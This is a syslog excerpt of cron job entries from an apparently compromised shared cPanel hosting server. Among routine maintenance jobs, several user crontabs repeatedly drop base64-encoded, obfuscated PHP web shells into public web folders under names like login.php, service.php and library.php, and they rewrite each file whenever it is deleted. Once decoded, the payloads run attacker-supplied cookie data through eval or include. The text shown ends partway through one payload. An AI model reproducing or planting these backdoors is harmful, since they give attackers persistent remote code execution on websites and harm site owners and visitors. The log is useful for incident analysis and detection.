Jun  7 10:40:02 medusa CROND[9230]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:40:02 medusa CROND[9237]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:40:02 medusa CROND[9214]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:40:02 medusa CROND[9239]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 10:40:02 medusa CROND[9241]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:40:02 medusa CROND[9223]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:40:02 medusa CROND[9231]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:40:02 medusa CROND[9232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:40:02 medusa CROND[9245]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:40:02 medusa CROND[9250]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:40:02 medusa CROND[9252]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:40:02 medusa CROND[9254]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 10:40:02 medusa CROND[9248]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:41:02 medusa CROND[10985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:41:02 medusa CROND[10986]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:41:02 medusa CROND[10988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:41:02 medusa CROND[10987]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:41:02 medusa CROND[10989]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:41:02 medusa CROND[10990]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:41:02 medusa CROND[10991]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:41:02 medusa CROND[10998]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:41:02 medusa CROND[10999]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:41:02 medusa CROND[11000]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:41:02 medusa CROND[11001]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:41:02 medusa CROND[11005]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:41:02 medusa CROND[11007]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:41:02 medusa CROND[11019]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:42:01 medusa CROND[12847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:42:01 medusa CROND[12864]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:42:01 medusa CROND[12865]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:42:01 medusa CROND[12866]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:42:01 medusa CROND[12867]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:42:01 medusa CROND[12868]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:42:01 medusa CROND[12872]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:42:01 medusa CROND[12873]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:42:01 medusa CROND[12874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:42:01 medusa CROND[12876]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:42:01 medusa CROND[12880]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:42:01 medusa CROND[12883]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:42:01 medusa CROND[12886]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9